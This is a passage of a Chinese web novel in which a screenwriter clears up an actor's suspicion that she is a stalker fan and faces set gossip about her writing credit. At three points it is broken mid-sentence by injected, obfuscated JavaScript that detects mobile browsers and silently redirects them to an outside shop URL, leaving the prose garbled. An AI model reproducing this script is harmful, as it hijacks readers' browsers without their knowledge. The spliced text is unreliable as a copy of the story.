没多犹豫,他朝着一旁的普通电梯走去,两种情况要么碰见一个同楼层,要么下楼找人。同一层楼小概率果然没遇上,只好一路向下,叮的一声电梯响了,顾应往角落转过身,避免跟人对视。 “知道了小叔,明天我看着雨洁上车。” “没...没添麻烦,我在电梯信号不是很好,再见。”钟知晓将电话挂断,总算把家里亲戚应付过去。 “钟知晓。”顾应居高临下盯着她,一字一句喊道。 钟知晓顿觉背后发凉,毛骨悚然,有这般冷冰冰的语气都不用回头,也知道是谁。空气仿佛凝滞一般,半天没吭声,再沉默下去愈发尴尬,她缓缓转身小幅度挥手:“嗨,顾老师这么巧,你也在。” “巧吗?”顾应本正发愁怎么抓人,这倒好,钟知晓主动送上门来,明天就让你左脚迈进剧组就被开除,不爽写在脸上:“我看你是居心不良。” ?到底在说什么,简直病得不轻,自己怎么就变成居心不良,钟知晓保持得体微笑:“我不明白您的意思。” “要我一条一条列出来吗?说说吧怎么跟到这里来的。”顾应只恨此刻没带手机,不然得拍下来,不过没关系电梯有监控。 “跟你?”钟知晓一脸疑惑,“顾老师,我记得我之前说过我不喜欢...我不追星。” 还在狡辩!顾应正打算说什么,被叮的一声打断,电梯门开了。作为公众人物一点点捕风捉影的事在网上会发酵得不可控,他连忙扭过头,没有人走进来。 二楼到了,钟知晓不想多说径直往外走,顾应连忙伸手拦住:“你走什么?跟我都跟到酒店了,还想走?” 钟知晓震惊地看着顾应,什么意思?是她理解错了吗...难道这些天顾应是对她欲擒故纵?不是吧...可他俩平常交流也没几句,果然人不可貌相,真是可怜那些天天等候的粉丝,还不知道自己的偶像私下竟是这样一个人。 刚说完瞧见钟知晓的表情,顾应品出来话里的歧义,真是无语!原本冷冰冰的人也着了急:“你把话说清楚,说不清楚就去警察局说。” 果然是小时候偶像剧看多了...钟知晓正色起来:“去警察局?我说什么...” 等等,难道顾应以为自己跟着他到了酒店吗?!苍天,这个误会老早不是都解释清楚了吗!! 电梯长时间未关门滴滴滴地发出声响,僵持在这里并不是很好的选择,更何况顾应裹着浴袍头发湿哒哒滴着水,万一被人拍到个什么白的也能说成黑的。钟知晓退回到电梯里,刷了卡,自动点亮她所住的楼层。 “你什么意思?”顾应懵住。 “你想让人拍到你这个模样吗?”钟知晓重重叹了一口气,“我真不是你私生,解释了几次,顾老师你真真真误会我了。” 顾应抄起手来完全不信,从这些天的观察自己判断不会有误,只能说钟知晓作为编剧演技也不错。 钟知晓摸出手机找到订房记录递上前去:“我表妹来玩,所以我给她定的酒店,昨天才定的。” “你说我就要信?谁知道你瞎编什么呢。”仅订房记录能说明什么呢,就不能是钟知晓提前买到消息提前订好吗?顾应冷冷地说:“对哦,你本来就是编剧,对你来说应该很容易。” 不信算了,钟知晓简直无力、无奈、无语到了极点。 叮的一声电梯门再次打开,所按楼层到了,钟知晓走出去,但顾应站在电梯里不为所动。 “我给你助理打电话,让他来接你。”钟知晓转而问,“还是说,你想这样在大厅被拍,今天我回酒店看见很多粉丝蹲在门口。” 也不是没有道理,听完顾应才走了出来,钟知晓找到群里联络单上电话拨过去:“你好,我是钟知晓,顾应在6楼,麻烦你来接一下他。” 挂断电话后,整座楼层安静无比,各有各的心事。 “顾老师,我知道您之前对我有误会。”钟知晓打破宁静:“在锦安那次,我是在路上碰见我表妹,她和几个同学大晚上在路边打不到车,我送她们回家。路上偶遇您的车,我真不知道是您的车,当时有个妹妹说东西掉前方车上,也就是您的车,所以我才跟了上去。” 将故事来龙去脉娓娓道来,顾应的眼神从不信到微微发怔。 钟知晓注意到顾应的眼周因泳镜的勒痕微微发红,高高的鼻梁,眉眼透露着凌厉,卸去精致妆容和扮相,素颜的皮肤透着白亮。她莫名地想起一个词来,清水出芙蓉。 意识到自己思绪跑偏,钟知晓连忙翻出聊天记录自证:“您看微信记录,那天我是帮我爸去拿货,十点多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562068|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿完还跟我爸妈说了一声,我真不是有意跟车,真的是误会。还有剧组酒店更不是我选的,组里安排我住哪我就住哪,我没有说过一句我想住哪一层楼哪一间房,您知道我只是个跟组编剧,没那么大的权利。” 顾应瞟了一眼,看时间确实也对得上,钟知晓也不至于做得这样周全。是这样吗...难道自己真误会了?如果跟车是误会,剧组酒店是误会...这些天的观察全是错的吗,顾应难以置信:“那扇子是怎么回事?” “扇子是有天早上我捡到粉丝的包,她送我的,说最近天热可以用上。”钟知晓想了想决定将把扇子扔进垃圾桶的事情省略,停顿片刻说,“我表妹很喜欢您,我想着留给她吧。” “....” “她...年龄不大,想着您好不容易去趟锦安,就想多看一看。”说完钟知晓不太好意思,毕竟钟雨洁的行为也对人造成了困扰,“不过那天我就严肃地跟她讲过这样追星不可行,这次她来跟着其他粉丝在拍摄外接上下班,其他私生的行为都没有。” 钟知晓继续补充:“我也没有!我没带她进组,也没让她住剧组酒店!” 将一件事认定为既定事实时,却突然崩塌,顾应呆滞原地听不进钟知晓的声音,也说不出话来,些许尴尬些许窘迫。 这时手机振动,钟知晓看到来电,走出两步朝电梯处挥手,小声说:“这里。” 王承跑上前来诧异:“应哥你怎么...在这里?” 顾应没心情回答:“回吧。” “那我们走了啊,钟老师谢谢你。”王承不忘跟钟知晓道谢。 “没事没事。” 顾应回过头,像是受了很大冲击一般:“真是你表妹?” “是,她叫钟雨洁高二学生。”钟知晓朝房间指了指:“她就在房间,要不我把我俩身份证拿出来给你看?我俩都是锦安人。” 顾应整个人有些发麻,不确定是因为游泳后酒店冷气比较足,还是因为钟知晓说的话... 钟知晓微微低头,态度诚恳:“之前的事是误会,给您造成不便,真的抱歉。” “嗯。”顾应没说别的,还能说什么,原以为钟知晓是变态,没想到全都是自己臆想... 电梯关上的瞬间王承迫不及待:“应哥怎么回事,什么表妹啊?” “说来话长。”这些天的误解,顾应还没完全消化。 王承接到电话时恨不得立刻跳到现场,抓心挠肝地说:“别啊,应哥说说嘛。” ...顾应往前走,压根不搭理人。 王承跟在身后,脑补着迟疑地问:“难道你和钟老师...睡了?” “??睡个屁。”本就窘迫,此时顾应气不打一处来,“告你诽谤,明天等着收法院传票。” “我错了错了。”王承仔细回想刚刚情形,老板更像是被赶了出来的那个,难道求爱不成被打了一顿?惊天大瓜啊,越想越激动。 顾应一瞧不用猜,也大概知道王承脑子在想些什么:“你明天跟谢励一起打包走人。”说完无力地闭上眼,好烦,心好累。 “老板我真错了,给我一个当牛做马的机会。”王承表面求饶,实则脑补一出狗血大剧,娱乐圈确实精彩。 14. 第 14 章 这下算是真的解释清楚了吧,不会再有别的误会了吧...细数这几次的误会,钟知晓心里哀嚎,真是有一点点想死。推开门重重地趴在床上,心累,人也好累。 钟雨洁见状问:“你衣服拿到哪去了?” 噌的一下,钟知晓立马坐起来叹息:“完全忘了。” “那你出去干啥了?”钟雨洁凑上前。 “出去...转了一圈。”全身上下没半点力气,钟知晓再次躺在柔软的床上,翻来翻去,“明早送完你再去拿。” 钟雨洁没再细问,手里握住带有签名的扇子,很是兴奋,各种角度拍了半天,发朋友圈发社交软件开心炫耀。 钟知晓心虚地看不下去,催促道:“快睡吧,明天一早的航班。” “知道啦。”钟雨洁将扇子郑重收好,裹了一层又一层的泡沫垫,生怕损坏。忙完才关灯躺下,一时间房间变得安静昏暗,突然她开了口:“其实第一天接完他下班,我就在想是时候说再见了。” 床柔软得不像话,钟知晓半梦半醒,强撑着眼皮全凭意识追问,“什么,顾应吗?” “嗯,喜欢他的人太多了,我只是那么多人中的一个,我跟他的距离最近也就是那天的一两米,不可能再近了。”钟雨洁眼睛看着天花板,可是一片漆黑,“所以有这样一个签名在我的追星生涯里当做纪念,我很满足。” 听完话钟知晓清醒了些,可是她不知道要如何接话,安慰、附和又或是别的,半晌开口:“睡吧。” “谢谢。”钟雨洁轻轻地说,“这些天谢谢你,表姐。” 闹钟响起时,两人都赖在床上好半天才急忙起床,好在昨晚钟知晓提前点好了早餐,出门前递给钟雨洁:“路上吃,到机场给我发消息,下飞机也发,还有你爸在机场接你。” “好的。” “路上不要跟人搭话,不要信陌生人的话,问路找工作人员。” “知道啦。” “回去好好学习,高中生首要任务是学习。” “你只比我大不到十岁,你是姐,不是上一辈!”钟雨洁些许抓狂,“放心吧!” “快走吧!”钟知晓看着车离开,总算能松一口气,希望钟雨洁真的想清楚了吧。 见时间不早了,钟知晓收拾好去了剧组,其实没要求她整天呆在剧组,只是丁恺之第一次当导演,她第一回跟组,刚开始去想着多学多了解。 除非剧情讨论现场改稿,大多时候钟知晓基本跟着丁恺之坐一天,盯着监视器里一整天看一场戏拍无数条,也挺无趣。她对丁恺之的佩服之情又大大加深了,为了一个镜头磨来磨去。 小部分时间她在片场要么打打杂,哪里缺人就去哪里,也算打发时间。 熟悉之后便不再一整天呆在剧组,剧组各方人遇到问题需要换景改戏,直接和葛双关在房间里开会改稿,改稿并不容易,要跟人battle,要问改动是否满意,熬夜是最最常见的事。 只是这个组改稿并不少,钟知晓没什么经验还以为是业内常态,但听葛双说改动确实高出平均水平。 答应过的活,签了合同,还能怎么办,只能改呗。 不过改着改着,钟知晓有时候会恍惚,自己写的是什么,文档上的每个字都认识,组合在一块脑子里却没画面。夜深总是爱想些乱七八糟的事,她灌了一口冰茶,像是打了鸡血一般熬,紧赶慢赶交了稿。 好几天过去呆在酒店也闷得慌,钟知晓便去了剧组,正巧在拍一场重头戏,丁恺之很早便到了,其余部门都在各自做最后调试,演员陆续出妆完到场。 和往常一样,为了让拍摄更快更顺利,丁恺之给演员讲戏理清情绪,钟知晓跟在他身后,帮着盯演员表演情绪和效果。 配合到位拍摄快不少,为了赶进度丁恺之又追拍了下一场。 同演员一起看监视器回放画面讨论时,钟知晓倒是意外发现顾应没有像之前那般冷脸,很好,一切都在朝着好的方向在走。果然,有起有落,过完低谷总会往上走。 感受到好意,钟知晓心情放松下来,脸上带着笑意。 顾应看得有些不解,钟知晓在笑什么...是对自己笑吗...什么意思...没想出个所以然,不过随着自己在行业的名气一天天提升,遇见的人笑容是越来越多,倒也不足为奇。 钟知晓完全沉浸在平静顺利的工作里,快要收工,她注意到丁恺之今天的不同,说话欲言又止,不禁问:“丁导,想什么呢?” “出去透透气吧。”丁恺之起身走了出去。 钟知晓紧跟上前询问:“师哥,你是有什么想跟我说的吗?” 丁恺之早些年抽烟,不过戒了,不过烦躁的时候还是很想来一根,手上什么也没有却习惯地微微抖动:“你跟顾应有什么矛盾吗?” “没有。”钟知晓否认,之前的一切都是误会,她上次就解释清楚了,今天碰见顾应的态度跟以前比简直好太多。她不解追问,“为什么这样说?” “顾应团队找到崔姐说你改的剧本有些问题。”丁恺之不是第一天步入职场,崔姐把消息转给他的时候,他对顾应团队的用意一清二楚,话里话外是想换掉钟知晓。 “哪里有问题,我去跟他解释。”说完钟知晓反应过来丁恺之问题说的是,自己和顾应的矛盾。 不应该啊,难道是顾应背后使坏?怎么这么小心眼了,早就解释过了还记仇呢。可自己跟他哪有什么仇,钟知晓想不明白:“你放心师哥,我跟他没矛盾,我去找他说清楚。” “不用,我已经跟他沟通过,剧本上的事是多方决定的。” 钟知晓摇摇头:“我得问清楚,如果真是我的问题,那也好知道到底是哪里的问题。” 丁恺之拦不住人,不过不管怎样,他不会让剧方换人,无非就是跟平台再谈,只要能谈就有空间。 回到片场并没有顾应的身影,钟知晓问一旁的同事:“有看到顾老师吗?” “他今天拍完了,应该在休息室吧。” “谢谢。”钟知晓朝休息室走去,好几个人坐在里面,就是没有顾应。 去哪了...钟知晓又问:“你们有看到顾老师吗?” “刚拆了妆发,应该走了吧。” 走了...不行,今天不说清楚钟知晓知道自己得一晚上想着这件事,她找到前两天刚打过的电话拨了过去:“你好,我是钟知晓,我有工作上的事想跟顾老师聊聊,请问他现在方便吗?” “钟老师呀,应哥在拍东西,事情着急吗?着急的话你先跟我说,我转达给他。” 钟知晓觉得这话不太能让助理转达,如果损了大明星的面子,她得罪不起:“也...不算太急。” “那你等一会,一小会,拍完这一组我马上帮你问。” 人还怪好的,钟知晓连忙感谢:“谢谢啊。” “客气啥,”王承经历电梯事件脑补一出大戏,下意识脱口而出,“都自家人。” “啊?” 王承咳了两声,立马改口:“我意思是都在一个剧组,一家人。” 助理倒是挺随和,钟知晓并未多想附和笑笑挂断电话,坐上回酒店的大巴,回去路上在脑海里组织语言预演排练,如果顾应不承认要如何说,承认要如何说,脑海里几个小人还挺忙的。 还没下车电话回了过来,钟知晓立马接起来:“顾老师说什么时候有时间?” “找我什么事?” 顾应略微沙哑的声音从手机传过来,钟知晓莫名地心一颤:“关于剧本的事想跟您聊聊。” “现在?” “对。” “那你等下来我房间。” “好。”挂断电话钟知晓反应过来,啊??房间,这合适吗!!她一心想着事情,忘记环境是否合适说事,不合适吧,在顾应房间...传出去大晚上聊剧本不合适吧,即便是真的聊剧本。 下车时钟知晓还有些恍惚,走到房间门口仍踟躇着,脑补了很多有的没的画面,不会顾应是要报复她吧,还是说潜规则? 都没必要,不至于吧,不可能吧。 犹豫再三敲响了门,就算她是胆怯的人,也不能任由别人在背后说自己工作上的不对。在这些天工作上,钟知晓已经尽自己最大努力做到各方满意,况且她是丁恺之推荐来的,不能打他的脸。 门被打开的一瞬间,她有些紧张,屏住了呼吸。 开门的人是王承,热情地招呼:“快进来,钟老师。” 悬着的心放了下去,还好还好,屋内有人至少排除一个推测,钟知晓轻快地回:“好。” 一进门只觉得房间特别大,虽然是同一层楼,但顾应这一间是套房,不用说也知道规模比自己的好不少。可当亲眼所见后,下意识想当明星可真好,有那么多人爱着,日常待遇也高很多,怪不得现在那么多人想出道。 屋内坐着好几个人,顾应,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571151|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的团队伙伴,钟知晓稍微熟一点的就是王承。片场只要顾应出现的地方,王承作为助理肯定也会在。 几个人齐刷刷地盯着钟知晓,目光汇集在她身上,反而有些不自在。 看起来顾应刚刚应该是在拍东西,顺毛刘海让他整个人显得毛茸茸的,一脸无辜的妆容还未卸去,却仍掩盖不住凌厉的气质,只是坐在那里气场就足够强大。 “你们先去休息吧。”顾应脸上依旧看不出什么情绪,转而抬眼问,“你说吧,找我什么事?” 其他人除王承纷纷离开,钟知晓小心翼翼地问:“顾老师,我想先确认下咱俩的误会已经解释清楚了吧。” “嗯,所以?”顾应挑眉,不清楚钟知晓来意。 “听说您觉得我改动的剧本有问题。”钟知晓摆低姿态认真请教,“我想问问具体是哪里的问题,找到问题所在才好修改。” 一时间顾应有些懵,不知道发生什么事:“你听谁说的?” 钟知晓迟疑片刻:“剧组。” 还是没说出崔姐的名字,万一再传去变成挑拨离间,影响更不好了。 顾应看了一眼王承,王承无辜摇头。 啊...钟知晓微微发愣,奇怪,那消息是从哪里传出来的,还传到了崔姐耳朵里。 “没有就好,应该是误会。”钟知晓想既然没这回事,那就这样吧。为求稳妥,她不放心地再次确认:“那您也没有因为误会我是你私生,想要换掉我吧?” 等等...顾应想起来了,他是因为这件事让谢励去找剧组,谢励到底怎么说的... 见跟前人脸色有变,钟知晓心头一惊,工作上要应付各方的意见,不断地加戏或者修改,要承受其他部门时不时的怨言甩锅。私下还要被误解,冷脸就算了,现在还有被换掉的可能,她脱口而出:“你真认为我是私生,想换掉我?” 之前想换掉钟知晓是事实,顾应承认道:“对。” “可误会不是解释清楚了吗!” “是。” 是什么是啊,就因为他的误解,一句话导致自己的工作都快没了。 这一个月里,受尽委屈,熬了无数个夜,跟人争论无数次。这些天算什么,每天靠着做梦咬牙吞下的苦都白吃了吗?钟知晓看着眼前的人有些抓狂、有些委屈,一股气在胸口上升,喉咙微微发紧,却只能强压所有的情绪。 “因为私生这个事想换掉你是事实。”顾应自觉理亏,可一想到剧本里部分情节确实写得很难看,“但后面改的剧本确实有问题。” 果然挑刺是吗?钟知晓无语但语气依旧柔和:“哪里呢?您说说看。” “比如说男主他是一个修仙之人,他怎么能说出口是心非的女人这样的话,你不觉得很奇怪吗?” 苍天啊,这不是应你要求改得霸道总裁一点吗? 还怪到自己头上了,钟知晓记得争取过好几次,无果,最后妥协改了。简直要把人气笑了,总不能指着顾应鼻子骂,这是你团队提出来的修改意见,他不可能不知道。 钟知晓深吸一口气:“顾老师,您或许不太明白我的具体工作,剧本上很多改动并非我想,更不是我能决定的。” 不是她真喜欢做这些乱七八糟的改动,现在的她只是一只笔。话点到为止,不用说得太白,更何况没必要对一个没什么关系的人说真心话。 只是顾应的表情看上去有些惊讶,钟知晓心想难道真不关他事?算了,跟自己又有什么关系呢,在组里不管是谁的意见,她只有认。 不过既然说开了,那...钟知晓试探地开口:“所以...现在真没事了对吗?” “嗯。”顾应嘴唇微张。 “那您早点休息,不打扰了。”钟知晓微微放松,这次应该是真的彻底解决了吧。 门关上的那刻,顾应听到轻轻地一声响,说不上来什么心情。 什么私生,什么改剧本,王承听得一愣一愣,小声问:“老大,所以你真不是喜欢钟老师?” “我什么时候说过喜欢!!!” 一切都是错付了,磕的cp还没开始就be了,谁懂啊...王承不死心:“那老大你那天怎么衣衫不整跟钟老师在别的楼层...” “首先我是准备抓她私生的证据,虽然是误会。其次我刚游泳完,我那不能是衣衫不整,我穿了浴袍。”说出浴袍二字,顾应也觉得听起来怪怪的,忍不住翻白眼,“我迟早得告你诽谤。” 15. 第 15 章 关上门钟知晓却觉闷得慌,长时间的高强度工作,熬夜作息失调,越发没劲。真的是有一点点想死,天天忙来忙去,不禁开始怀疑这天的付出,脑子很乱。 下了楼呼进新鲜空气,脑子才勉强清醒些,跟家里打电话唠起日常,无非就是今天吃了什么做了什么,没营养。 可真是这种没营养的话语,一来一回,让钟知晓的心倍感温暖,所有的委屈所有的怨愤都消散,家人是港湾也是向前的力量,她更能好好地朝着梦想出发。 挂断电话,门口的粉丝已经散去,回房间路上钟知晓走得很快,只差一层,撞见陈念晚上裹得严严实实,看样子是要出门。 陈念仅露出的眼睛上扬:“钟老师才回来啊?” “嗯聊了会剧本。”明明说的实话,钟知晓却有些不自然,出于礼貌寒暄又问道,“这么晚还出去吗?” “明天见。”陈念挥挥手,愉悦溢于言表,独自一人下楼。 钟知晓回了房间,葛双早已休息,算一算时间拍摄才过三分之一,希望后面能够顺顺利利吧。跟顾应的误会彻底解开,以后在剧组也就不用别别扭扭,这下一切真的在朝着好的方向在发展。 把这一关闯过,才有前进的可能,会好的,一定会好的! 一早王承开门叫顾应起床出工,见到睡眼惺忪的顾应吓了一跳:“老大,你的黑眼圈怎么这么重?没睡好?” 是压根没睡,一夜未眠,顾应闭上眼总是能想起钟知晓说话的模样,是一副极力克制后装出来的平静柔和,就那么委屈吗? 没由来的顾应想起以前,即便父母离婚,但妈妈给了他全部满满的爱,在顾家,有姥姥姥爷,还有大姨和姨夫都是很好很好的人。只是顾云华死后,姥姥姥爷大姨姨夫全都不见了,他成了世界上没人要的孩子,被法律判给亲生父亲。 一开始他试着想要得到周胜全的关注,孩子总是渴求着父母的爱,顾云华走了,周胜全是他唯一的亲人。可是...在那个家里,没人听他讲话,没人关心在意他做什么。 而自己像是...一块垃圾,被丢进寄宿制学校,十来岁的他想不明白,为什么自己会被那样对待?黄莹无视他,他可以不在乎,她只是周胜全的再婚对象,不是他亲人。 可周胜全是他亲爸,为什么也这样对他? 小顾应很委屈,不过渐渐也不在乎了。不过前一晚钟知晓极力克制委屈的样子,刻在他脑海里,跟小时候的自己,竟有些重叠。 没睡好的直接后果就是脑子不太清醒,顾应用加倍浓缩液的咖啡提神,勉强撑着精神。天太热,剧组在门口放了风扇吹风让空气流通,大半天片场找了个遍,也没见着钟知晓,像是习惯找寻她的身影一般。 “怎么编剧不跟组了?”顾应自说自话。 王承以为在问自己回道:“我看别的组编剧也不是常驻,他们在房间里改稿吧。” 顾应嗯了一声,也真是奇怪,没见到人,心里总觉得少些什么,又说不出来个什么。他又拿起剧本,读戏背词,莫名地想起前些天钟知晓在一旁同他理顺情节的时候。 “真是奇怪。”顾应无意识感叹说出声来,目光不聚神飘向远方。 王承不解:“什么奇怪?” 顾应摇摇头没再说话,回了房车,等会还有戏要拍,只好任由头套长发紧紧地粘着,半躺着小憩。 一两个小时过去没收到消息,片场就是这样,拍戏要等通知,有时候要等五六个小时,全靠统筹安排。眯了一会顾应清醒了些,也没了瞌睡,等待时间百无聊赖,王承在一旁打游戏:“老大,来一局?” “不来。”顾应拒绝,他游戏打得少,谈不上喜欢。 王承极力邀请:“还不知道要等多久呢,呆着也太无聊了。” 无聊。 好像是的,回想很多等待时候自己都是发呆,静静的什么也不做,让思绪乱飞,等待时间过去。顾应摩挲着手上的表,指针一分一秒地转动,外表早已些许磨损,以前谢励问过一嘴:“怎么不换块表?” 就像豪车豪表是身份地位的象征,意思是顾应手上戴的表跟如今的身份不匹配了。他没说什么,就这样一直戴着,这是顾云华留给他最后的念想,他怕...忘记曾经的温暖。 时针走了一圈又一圈,总算收到通知让他们到片场要开拍了,顾应整了下衣服走出车门的一刻,自然是一片呼声。 是的,这么热的天,仍有这么多的人来看他。 只是见得多了,便也慢慢习惯,习惯了被人喜欢,别人偏爱。这或许是环境如此,身在其中,没人觉得不对。 太阳毒烈,打着伞短短一段路也能感受到从地面往上涌的热气,还有心里若隐若现的一股气,说不清道不明。 新换的实景场地,成本比棚拍高,难度也大,一般来说为了控制成本和拍摄方便,实景选择并不多。但丁恺之坚持要这一场,制片那边的压力都给到他身上,不得不加快拍摄进度。 原计划拍摄时间半个月,这几天丁恺之加班加点赶拍,进度还提前了一些,只差部分补拍镜头,估计就今明两天,再加空景能完全收尾,就可以转场回去棚内。 不过随着时间推后,天气一天比一天热,人心也浮躁许多,现场出现不少问题,要么走位不对要么灯光道具,种种问题。 钟知晓时不时去剧组转一转,呆的时间不长,但已经做到风扇不离手,炎热并未缓解几分。特别是室外室内温差大,极容易中暑。 快到正午太阳明晃晃地晒得发烫,演员状态也不太好,丁恺之喊道:“cut,先休息吃饭。” 丁恺之看回放时发现远处的景和之前那一场对不上,上几条拍的全废了,对事不对人骂道:“置景组呢,那么大的穿帮赶紧换!” “马上马上。”说完工作人员赶忙撤走更换,一着急加上天气热, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17573199|204153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一身汗才结束。 擦着汗的小陶不快道:“拍之前不说,非得拍完才发现。” “你小声点,导演哪注意得到那么多。” “本来就是。”挨骂后,小陶心中怨气不少,“说起这个就来气,景白搭不说,熬夜赶工还落不到一点好,说是牛马,又不是真的是牛马。” “不知道为什么非要实拍,棚内的景搭得多好啊,也没这么热。” 钟知晓原本是想检查还有没有别的问题,不曾想听到这样的话,其实换了场地,断断续续她听了好几句,只当做是上班时的怨气,并未太在意。 毕竟现在上个班谁没点怨气呢,能理解。她也有怨气,不过抱怨并没有用,抱怨后该做的事不会少,只有独自消化后赶紧将事做完,了却烦恼。 说话的两人转过身来,另一人使了个眼色示意小陶走开别说了,小陶却盯着钟知晓讲:“就因为剧本上轻飘飘的几句话,场景变动。” 再迟钝钟知晓也知道这话冲着她来,但她和小陶本质没有区别,因为她说了不算。 作为编剧所有情节都是为了让故事更好,而她作为跟组编剧主线任务是让戏拍下去。制片、导演、投资方、平台、美术,包括演员的任意一句话,只要不违背故事原本设定,她都得改。 本不想搭理,但话都说到自己面前了,钟知晓无奈且耐心地解释道:“陶老师,当时跟大家都解释过,为什么要换到这里,制片导演有他们的考虑,也为了更好的拍摄效果。我看拍摄计划这两天就能收尾。” 小陶嘲讽一笑:“为了更好的效果?之前搭的景差别能有多大。” 天气炎热人心浮躁,再者小陶在行业待了这么久,不可能不清楚跟组编剧的处境,唯一合理解释就是想找个人撒气。钟知晓不欲争辩,礼貌笑笑准备到另一处看有没有问题。 另一人拉了拉小陶:“走了去休息下。” “你拉我干什么。”小陶口无遮拦地说了出来,“这些还不是丁恺之为了给她加署名。” 已经走开的钟知晓脚步停了下来,什么?一时之间怀疑自己的耳朵,加署名?她转过身再次走到小陶跟前:“陶老师,你刚刚说什么?我怕我听错了。” 周围不少工作人员好奇地望向这边,小陶并不想闹大:“大家心知肚明就是了。” 钟知晓坚持追问:“我不明白。” “既然你要装傻,那我就说清楚一点吧。难道丁恺...丁导改这块不是为了给你加署名?” 过水改,导演或者资方等为了给自己手下的编剧加署名抬头,行业里心知肚明一种方式,很常见,不过也是令编剧不齿的行为之一。 钟知晓没想到这样的事发生在自己身上,表情严肃地说:“我从没让丁导给我加署名,剧本不是我写的,我为什么要去争这个名头?” “谁知道呢?”小陶不怀好意地笑,“你俩关系不是很好吗?” 16. 第 16 章 “陶老师,喊您一声老师是尊重您,大家聚在一个组里当同事是缘分,接下来还要一起共事两个月。”钟知晓没了笑意,但在组里,不少人看着,她保持着体面正色道,“捕风捉影的事不管对谁来说都是种伤害,希望您也能给我、给导演相应的尊重。” 执行导演方明走进来见大家待在原地没动弹,大声吼道:“干嘛呢看什么看,抓紧点,等下就要拍了。” 周围人才纷纷装作忙碌的样子,实则偷偷吃瓜,没一会儿基本全组传遍了。 嘴长在别人身上,剧组的流言会不会随着时间减淡,钟知晓管不着。只要不影响工作,只要她听不见,其实对她来说没什么影响,别人打量的目光全当没看见。 只是有关加署名的事,她得问清楚丁恺之怎么一回事。 不过丁恺之到片场后一直在马不停蹄地拍,趁演员休息后状态好的时候,得抓紧时间,钟知晓只好站在一旁待命寻找机会,无意识地走来走去,心事重重。 好在拍摄总体上还是比较顺利,这两场戏没有激烈的打斗场景,情绪起伏不大的戏演员也容易过。 下一场前休息间隙,钟知晓刚想转头跟丁恺之讲话,顾应却走近看监视器回放,刚张的嘴又闭上了。她垂着眼思考再三,算了,在片场还是不要影响丁恺之拍戏,人多口杂,加上拍摄时间太赶,还是别让导演分心好了。 这一幕钟知晓欲言又止的神态,被顾应全然看在眼里。 等等,不对,有什么不对。 既然钟知晓不是私生,自己早就没有盯她的必要。总是盯着她,别人,这个别人特指王承,还真觉得自己对她有什么想法,呵。顾应将自己视线移开,以往要么发呆要么背台词,之前新的目标是抓钟知晓。 现在不盯人了,在片场失去有意思的目标,顾应一时觉得有点无聊... 他环伺四周,敏锐地发现周围人的目光在有意无意地打量钟知晓,顾应嗅到一丝不对劲,朝王承大手一挥。 王承狗腿子般走上前答道:“小的在,老大有什么吩咐。” “你正常一点。”顾应的手无意识在衣服上摩挲,朝监视器后的钟知晓位置轻抬下巴,“发生了什么吗?” “什么发生了什么?”王承一头雾水。 一点也不机灵,顾应没了想要说话的心,将话生生憋了回去。 王承反应过来:“是剧组吗?还真有。” 顾应轻轻挑眼:“你说。” 王承遮着嘴小声说:“我听说中午有工作人员对钟老师阴阳怪气,好多人都看见了。” “为什么?”顾应疑惑。 不得不承认,通过这些天的观察,即便是钟知晓改剧本不咋地,但在组里,怎么说呢,她对任何人一视同仁地礼貌客气,并不会因为职位大小、演员咖位区别对待,顶多亲属有别,对丁恺之很亲近。 “好了,演员就位。”方明喊着,顾应起了身站到指定位置,投入拍摄,目光却不自觉地看向监视器后面的那个人。 不断地action不断地cut,情绪一遍一遍给,度把握不好的话冷淡容易变成面瘫,顾应一遍一遍细微调整,很磨人。 “cut!收工,各位老师辛苦了。” 拍摄顺利得有些不可思议,比原计划收工还快,丁恺之满心思的赶进度,说再拍一场。 接下来一场没有顾应的戏,他卸完妆发上了车回去休息。车里没别人,他惦记着刚没听完的内容,又别扭地不想直说,咳了咳示意王承。 王承立马接收到指示:“应哥你口渴吗?我这还有冷萃茶,马上给你。” “大晚上喝茶,你让我半夜不睡吗?”顾应白了一眼。 “哦,那矿泉水行吗?”王承递上去,恍然大悟般突然拍了一下腿:“想起来了,剧组的事我没给你讲完。” 顾应故作矜持:“什么事?我都忘了。” “就有人对钟老师阴阳怪气的事啊。”王承兴致勃勃地分享,“他们说重新改场景换地拍,是导演想给钟老师加署名。” “加署名?”顾应不解,这是什么操作... 王承解释:“剧集播出的时候跟组编剧不会在编剧那栏出现,这番改动就是为了方便给钟老师争取加署名加抬头。” “他俩关系这么好?”顾应挑眉,知道钟知晓是丁恺之带来的人,也知道他俩比较亲近,但平常看不出两人有别的关系。 “据说钟老师叫导演师哥,应该是一个大学。” 